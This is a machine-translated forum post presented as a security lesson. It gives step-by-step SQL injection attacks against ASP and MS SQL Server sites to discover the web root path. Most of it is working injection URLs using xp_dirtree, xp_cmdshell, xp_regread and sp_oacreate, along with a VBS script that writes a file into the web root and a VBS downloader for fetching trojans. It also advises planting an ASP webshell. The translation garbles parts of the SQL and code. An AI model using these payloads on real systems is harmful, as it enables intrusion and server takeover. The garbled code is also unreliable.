Šis straipsnis yra veidrodinis mašininio vertimo straipsnis, spauskite čia norėdami pereiti prie originalaus straipsnio.

Rodinys: 11906|Atsakyti: 0

[Saugos pamoka] SQL injekcija, kad gautumėte visą svetainės kelią

[Kopijuoti nuorodą]
Paskelbta 2015-02-07 22:19:16 | | |
SQL injekcija, kad gautumėte visą svetainės kelią

Jei svetainėje yra tik 80 prievadų, jums bus naudingesni šie metodai
Beveik visi jame naudojami metodai nėra tai, ką atradau, o straipsnyje visada pateikiama tam tikra asmeninė patirtis ir įgūdžiai švirkščiant
Yra 4 metodai (dabar žinomi)

Pirmasis metodas:

Tai <怪异的SQL注入>metodas, įvestas < >
Naudodamiesi "sqlserver" xp_dirtree, pirmiausia pakalbėkime apie metodą, o tada pakalbėkime apie jo privalumus ir trūkumus (kai kurie papildymai atliekami remiantis originaliu tekstu)

Lentelių kūrimas

Pareiškimas:http://www.xxxxx.com/down/list.asp?id=1;create  Lentelė dirs(Paths Varchar(1000))--
Atgal: Normali informacija! Tai reiškia, kad stalas sėkmingai sukurtas! Pirmyn!
(Vienas pastatytas yra šiek tiek didesnis nei originalas, nes aš susidūriau su failu su ilgu pavadinimu, ir ištrynė ID, nes jis yra nenaudingas)

Pareiškimas:http://www.xxxxx.com/down/list.asp?id=1;insert  dirs exec master.dbo.xp_dirtree 'c:\' --
Grąžina: įprasta informacija. Tai reiškia, kad visi katalogai, parašyti į C diską, yra sėkmingi! Šaunu! Kitas žingsnis - gauti skaitiklį! Pažeisti jį ir išeiti. (Atrodo, kad yra tik vienas būdas tai padaryti)

Pareiškimas:http://www.xxxxx.com/down/list.asp?id=1  ir 0<>(pasirinkite 1 geriausius kelius iš dirs)-
Grąžina: "Microsoft OLE DB" teikėjas, skirtas SQL serverio klaidai 80040e07
Sintaksės klaida įvyksta konvertuojant varchar reikšmę '@Inetpub' į stulpelį, kurio duomenų tipas int.

Tada lentelėje esantys katalogų pavadinimai išsiveržia paeiliui!

Pareiškimas:http:// http://www.xxxxx.com/down/list.asp?id=1  ir 0<>(pasirinkite 1 geriausius kelius iš
dirs, kur keliai ne ( '@Inetpub'))--
Grąžina: "Microsoft OLE DB" teikėjas, skirtas SQL serverio klaidai 80040e07
Konvertuojant varchar reikšmę 'test' į stulpelį, kurio duomenų tipas int.

Tada lentelėje esantys katalogų pavadinimai išsiveržia paeiliui!
Gerai, tęskime

Pareiškimas:http:// http://www.xxxxx.com/down/list.asp?id=1  ir 0<>(pasirinkite 1 geriausius kelius iš
dirs, kur keliai ne in( '@Inetpub','test'))--
Grąžina: "Microsoft OLE DB" teikėjas, skirtas SQL serverio klaidai 80040e07
Sintaksės klaida įvyksta konvertuojant varchar reikšmę 'haha' į stulpelį, kurio duomenų tipas int.

Tada lentelėje esantys katalogų pavadinimai išsiveržia paeiliui!

Gerai, turėtumėte žinoti, kaip tai padaryti, haha, tiesiog pridėkite gautos lentelės pavadinimą į tą skliaustelį, įdėkite tiek, kiek norite,

Mažas triukas:

Kartais pastebėsite, kad kai įvestis yra panaši

http://www.xxxxx.com/down/list.asp?id=1  ir 0<>(pasirinkite 1 geriausius kelius iš dirs)-

Užuot rodęs klaidą, tinklalapis rodomas įprastai
Svaigsta galva, nesinervink
Pažvelkite į 0<> (pasirinkite viršų 1 keliai iš dirs), kad parodytumėte, kad grąža yra skaičius,
Haha, išbandykite ir pažiūrėkite, kiek tai kainuoja

100>(pasirinkite 1 geriausius kelius iš dirs)

Grįžti į normalią būseną
Haha, galite greitai atspėti su šiuo metodu daugiau nei ar mažiau
Gerai, tęskime
Pavyzdžiui, kai pasirodo

59=(Pasirinkite 1 geriausius kelius iš dirs)

Grįžti į normalią būseną,
Gerai, vardas yra 59
Įveskite taip

http:// http://www.xxxxx.com/down/list.asp?id=1  ir 0<>(pasirinkite 1 geriausius kelius iš
dirs, kur keliai ne ( '59'))--

Nepamirškite dėti kabučių
Šis metodas yra toks pat kaip ir originalas
Taip pat yra problema
Kartais, kai įveda 59 naudojant aukščiau pateiktą metodą, aš pastebiu, kad kitas aplankas vis dar yra 59
Kas vyksta?
Hehe, nežinau, ar pastebėjote, kad 059 ir 59 yra vienodi?
Štai kodėl haha,

http:// http://www.xxxxx.com/down/list.asp?id=1  ir 0<>(pasirinkite 1 geriausius kelius iš
dirs, kur keliai nėra ( '059'))--

Radau, kad rodomas kitas aplanko pavadinimas, gerai

Privalumų ir trūkumų analizė:

Privalumas yra tas, kad visi sqlserver vartotojai gali juo naudotis, nes xp_dirtree taiko leidimą PUBLIC,
Trūkumas yra tas, kad jame rodomi visų katalogo aplankų pavadinimai, o išdėstymas atrodo netvarkingas, trumpai tariant, skausminga rasti norimą aplanką tūkstančiuose ar dešimtyse tūkstančių aplankų.
Ir jūs žinote, kad negarantuojama, kad tas aplankas bus šakniniame kataloge, o tai tikrai skausmingas dalykas, daug kartų tai priklauso nuo sėkmės ir ištvermės.
Linkiu sėkmės

2 metodas:

Naudokite xp_cmdshell

Haha, visi turi būti susipažinę su tuo, leiskite man pasakyti trumpai

Lentelių kūrimas

Pareiškimas:http://www.xxxxx.com/down/list.asp?id=1;create  Lentelė dirs(Paths Varchar(1000))--
Atgal: Normali informacija! Tai reiškia, kad stalas sėkmingai sukurtas! Pirmyn!
(Vienas pastatytas yra šiek tiek didesnis nei originalas, nes aš susidūriau su failu su ilgu pavadinimu, ir ištrynė, kad ID, nes jis yra nenaudingas.)

Pareiškimas:http://www.xxxxx.com/down/list.asp?id=1;insertdirs exec master.dbo.xp_cmdshell 'dir c:\ /B/D' --
Grąžina: įprasta informacija. Tai reiškia, kad visi katalogai, parašyti į C diską, yra sėkmingi! dir c:\ /B/D čia naudojamas, haha, jei nežinote, ką daro /B/D, pabandykite pažiūrėti, ką jis daro

Pareiškimas:http://www.xxxxx.com/down/list.asp?id=1  ir 0<>(pasirinkite 1 geriausius kelius iš dirs)-
Grąžina: "Microsoft OLE DB" teikėjas, skirtas SQL serverio klaidai 80040e07
Sintaksės klaida įvyksta konvertuojant varchar reikšmę '@Inetpub' į stulpelį, kurio duomenų tipas int.

Tada lentelėje esantys katalogų pavadinimai išsiveržia paeiliui!

Pareiškimas:http:// http://www.xxxxx.com/down/list.asp?id=1  ir 0<>(pasirinkite 1 geriausius kelius iš
dirs, kur keliai ne ( '@Inetpub'))--
Grąžina: "Microsoft OLE DB" teikėjas, skirtas SQL serverio klaidai 80040e07
Konvertuojant varchar reikšmę 'test' į stulpelį, kurio duomenų tipas int.

Tada lentelėje esantys katalogų pavadinimai išsiveržia paeiliui!

Metodas yra toks pat kaip aukščiau, todėl apie tai nekalbėsiu

Kartais taip pat galime ką nors padaryti su šiais dviem plėtiniais

1) Mes galime pasinaudoti xp_availablemedia gauti visus dabartinius diskus ir išsaugoti juos dirs lentelėje:

5 ; įterpti dirs exec master.dbo.xp_availablemedia; --

Diskų sąrašą ir susijusią informaciją galime gauti užklausdami laikinojo turinio

(2) Galime naudoti xp_subdirs, kad gautume pakatalogių sąrašą ir išsaugotume juos dirs lentelėje:

5 ; įterpti į dirs exec master.dbo.xp_subdirs 'c:\' ; --

Privalumų ir trūkumų analizė:

Akivaizdu, kad tai nepadės xp_dirtree situacijos, kai visi katalogai bus sujungti, bus rodomas tik pirmojo lygio katalogas, kurį rasti yra daug lengviau.
Trūkumai taip pat akivaizdūs, tik SA turi šį leidimą, taip pat gali būti, kad administratorius ištrynė šį plėtinį (juk jis yra per galingas).

3 metodas:

Šis požiūris yra geras
Toliau pateikiamas originalus tekstas
Galvojau naudoti adsutil.vbs programą, kurią vykdžiau

a'; exec meistras .. xp_cmdshell 'cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/1/root>a.txt'; --

Ar tai nėra ilgai? Per jį galime sukurti pirmąją virtualią svetainę IIS (žinoma, įskaitant tikrąjį katalogą, kuriame ji yra)
Importuoti į a.txt
Numatytoji faktinė a.txt vieta, žinoma, yra c:\winnt\system32, o tai iš tikrųjų nėra problema, bet susidūrus su administratoriumi, kuris nustato adsutil.vbs
Ištrinti arba įdėti kitur
Mes nieko negalime padaryti (jūs negalite parašyti vieno su echo komanda patys)

Žingsnis 2: Naudokite komandą aidas, kad įrašytumėte šį kodą į c:\, o tai nėra daug

..... xp_cmdshell 'aido rinkinys FSO1=CreateObject("Scripting.FileSystemObject">c:\read.vbs'; --
..... xp_cmdshell 'echo Set WshShell = Wscript.createObject("Wscript.Shell">>c:\read.vbs'
; --
.....
-------------------skaitykite.vbs---------------------------------
Set FSO1=CreateObject("Scripting.FileSystemObject"
Nustatyti WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("procesas"("windir"
nustatyti fil =FSO1.OpenTextFile(SPA & "\System32\aa.txt"
daryti, o ne fil.atendofstream
nr=fil.readline
if left(nr,4)="Kelias", tada
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
išeiti iš
pabaiga, jei
kilpa
nustatyti fil1 =fso1.opentextfile(pa &"\dd.asp",2,true)
fil1.writeline ""
---------------Iškirpkite čia-------------------------------------

3 žingsnis: Žinoma, reikia vykdyti read.vbs, kad galėtume perskaityti aa.txt turinį ir rasti tikrąjį svetainės kelią
Tada parašykite failą pavadinimu dd.asp šakniniame svetainės kataloge ir žinosite, ar galite sėkmingai jį išbandyti
Vykdytihttp://x.x.x.x/dd.asp
Grąžinimas: \xxx
Haha, tai geras būdas,
Tačiau atrodo, kad originalus tekstas turi tam tikrų problemų
Tai yra

set fil =fso1.opentextfile(spa %2B "\system32\aa.txt"
nustatyti fil1 =fso1.opentextfile(pa%2B"\dd.asp",2,true)

Klaida įvyksta, kai pateikiami du sakiniai
Taigi mes sugalvojome pliuso ženklą, kuris atlieka tą pačią funkciją kaip &
O ką apie dd.asp rašyti? Parašyk pa, haha
Haha, aš jį pakeičiau

-------------------skaitykite.vbs---------------------------------
Set FSO1=CreateObject("Scripting.FileSystemObject"
Nustatyti WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("procesas"("windir"
nustatyti fil =FSO1.OpenTextFile(SPA "\system32\aa.txt"
daryti, o ne fil.atendofstream
nr=fil.readline
if left(nr,4)="Kelias", tada
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
išeiti iš
pabaiga, jei
kilpa
nustatyti fil1 =fso1.opentextfile(pa "\dd.asp",2,true)
fil1.writeline pa
---------------Iškirpkite čia--------------------------------------
Kadangi pateikiant naršyklėje laiko skaičius konvertuojamas į tarpą, taip pat turėtumėte nustatyti
Jis tampa %2B, gerai, turėtų būti gerai, taip
-------------------skaitykite.vbs---------------------------------
Set FSO1=CreateObject("Scripting.FileSystemObject"
Nustatyti WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("procesas"("windir"
set fil =fso1.opentextfile(spa %2B "\system32\aa.txt"
daryti, o ne fil.atendofstream
nr=fil.readline
if left(nr,4)="Kelias", tada
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
išeiti iš
pabaiga, jei
kilpa
set fil1 =fso1.opentextfile(pa %2B "\dd.asp",2,true)
fil1.writeline pa
---------------Iškirpkite čia--------------------------------------

Jei pamatysime, kad 1 nėra, galime tapti 2, 3, 4...........

a'; exec meistras .. xp_cmdshell 'cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/2/root>a.txt'; --

Bet šis metodas gali būti naudojamas tik "Windows 2000", nes naujai sukurtų svetainių adresai iki 2003 m. nėra išdėstyti pagal 1234, atrodo, kad jis yra atsitiktinai sugeneruotas, ir aš palyginau keletą pagal 2003 m
adresas, nenustatyta jokio reguliarumo.

Privalumų ir trūkumų analizė:

Ditto xp_cmdshell Ne kiekvienas vartotojas gali juo naudotis! Kita problema yra ta, kad adsutil failas nebūtinai egzistuoja arba nebūtinai yra tame kelyje, nors galite jį naudoti, jei norėjote
Echo rašo vieną (haha, senas ir senas), ir kitas klausimas yra, ką daryti, jei yra daug svetainių priimančiojo? Aš sutikau šeimininką su devyniomis svetainėmis, ir tik aštuntasis yra naudingas
Taip, silpnas, sunku kam nors turėti kantrybės taip ištverti, gal jis jau seniai sugriuvo. Be to, jis negali būti naudojamas 2003 m.!
Tačiau, tiesą sakant, šis metodas iš tiesų yra geras metodas

4 metodas:

Šis metodas yra nuskaityti kelią iš registro per xp_regread ir tt
Norint gauti tinklalapio kelią (skaityti registrą naudojant saugomas procedūras), rekomenduojama:
Naudokite integruotą saugomą procedūrą xp_regread (skaitykite registro raktą, leidimą viešai):

Pareiškimas: http://www.xxx.com/list.asp?classid=1; create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare@test
Varchar(20) Exec Master.. xp_regread @rootkey= HKEY_LOCAL_MACHINE , @key=
SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\ , @value_name= / , values=@test OUTPUT įterpti į kelius
(kelio) vertės(@test)

IIS numatytasis kelias registre HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\
Naudokite serijos lauką, kad perskaitytumėte duomenų bazės reikšmę:

Pareiškimas: http://www.xxx.com/list.asp?classid=1 ir 0<>(pasirinkite 1 geriausius kelius iš newtable)--return: Microsoft OLE DB teikėjas
ODBC tvarkyklių klaida 80040e07 [Microsoft][ODBC SQL serverio tvarkyklė][SQL serveris] konvertuoja varchar reikšmę E:\www,,201 į duomenų tipą int
stulpelis.

Tai reiškia, kad tinklalapio katalogas yra E:\www, tada taip pat galite naudoti FSO rašyti tiesiai į ASP Trojos arklys
Ką daryti, jei negalite gauti žiniatinklio katalogo? Turite atspėti, ar svetainė naudoja numatytąjį WEB ar domeno vardą kaip WEB.

declare @o int exec sp_oacreate wscript.shell , @o out exec sp_oamethod @o, run , NULL cscript.exe c:
\inetpub\wwwroot\mkwebdir.vbs -w "numatytoji svetainė" -v "e","e:\"'

Sukurkite virtualų katalogą E numatytojoje WEB svetainėje, nukreipdami į E: po disku.

declare @o int exec sp_oacreate wscript.shell , @o out exec sp_oamethod @o, run , NULL cscript.exe c:
\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e naršyti'

Gerai pridėti naršymo atributus į virtualų katalogą e. Atidarykite virtualią paslaugą sau. Galvojant apie tuos tinklalapių katalogų kelius, mano galva beveik sulaužyta. Dabar aš atmerkiau akis. Tai yra WEBSHELL, kuris naudoja MS
SQL yra mūsų darbo pabaiga, o kitas darbas turėtų būti jūsų.
Haha, metodas geras, perskaitykite jį per registracijos formą, patogu ir greita!

Privalumų ir trūkumų analizė:

Privalumas, žinoma, yra tas, kad jis yra patogus ir greitas. Neigiama yra tai, kad jūs galite matyti tik numatytosios IIS svetainės kelią, o jei ji nebėra numatytoji svetainė, tada nieko negalite padaryti (aš sekė jį su regsnape), jei pagal 2003
Tai reiškia, kad net numatytasis svetainės kelias nerodomas! Skausmas

Beje, iš tikrųjų yra ir kitų būdų, kaip tęsti įsibrovimą, be svetainės kelio paieškos, pavyzdžiui, įkelti atšokimo Trojos arklys per tftp arba parašyti iget.vbs, kad atsisiųstumėte norimą dongdongą
iget.vbs kodas yra toks:

---------pradėti----------
Set xPost = createObject("Microsoft.XMLHTTP"
xPost.Open "GET",LCase(WScript.Arguments(0)),0
xPost.Siųsti()
Set sGet = createObject("ADODB. Srautas"
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile LCase(WScript.Arguments(1)),2
----------pabaiga-----------

Šio straipsnio papildymas:

Neseniai pastebėjau, kad mano supratimas apie pirmininko Mao nurodymus nebuvo pakankamai gilus, ir norėčiau čia pridurti
Tiesą sakant, aukščiau išvardytų metodų visai nereikia lyginti, xp_dirtree jie yra geriausi, jei tik pakanka šio vieno metodo
Tik todėl, kad buvau per daug ..............
Šiandien dar kartą išsiaiškinsiu xp_dirtree paslaptį
Gerai, leiskite exec master: xp_dirtree'd:/testas'
Tarkime, kad teste turime du aplankus, test1 ir test2, o test1 teste1 teste
Rezultatai rodo

Pakatalogio gylis
1 1 testas
3 2 testas
Testas2 1

Haha Aš nustatė, kad nėra gylio, kad yra katalogo serija
Gerai, žinokite, ką daryti

http://www.xxxxx.com/down/list.asp?id=1;create  lentelė dirs(paths varchar(1000),id int)--
http://www.xxxxx.com/down/list.asp?id=1;insert  dirs exec master.dbo.xp_dirtree 'd:\' --
http://www.xxxxx.com/down/list.asp?id=1  ir 0<>(pasirinkite 1 geriausius kelius iš dirs, kur id = 1)-

Kol pridedamas id=1, tai yra pirmojo lygio katalogas.





Ankstesnis:Įsibrovimo įsiskverbimas: HTTP antraščių taikymas
Kitą:"Alipay" pervedimo ekrano kopijos generuojamos vienu paspaudimu
Atsakomybės apribojimas:
Visa programinė įranga, programavimo medžiaga ar straipsniai, kuriuos skelbia Code Farmer Network, yra skirti tik mokymosi ir mokslinių tyrimų tikslams; Aukščiau nurodytas turinys negali būti naudojamas komerciniais ar neteisėtais tikslais, priešingu atveju vartotojai prisiima visas pasekmes. Šioje svetainėje pateikiama informacija gaunama iš interneto, o ginčai dėl autorių teisių neturi nieko bendra su šia svetaine. Turite visiškai ištrinti aukščiau pateiktą turinį iš savo kompiuterio per 24 valandas nuo atsisiuntimo. Jei jums patinka programa, palaikykite autentišką programinę įrangą, įsigykite registraciją ir gaukite geresnes autentiškas paslaugas. Jei yra kokių nors pažeidimų, susisiekite su mumis el. paštu.

Mail To:help@itsvse.com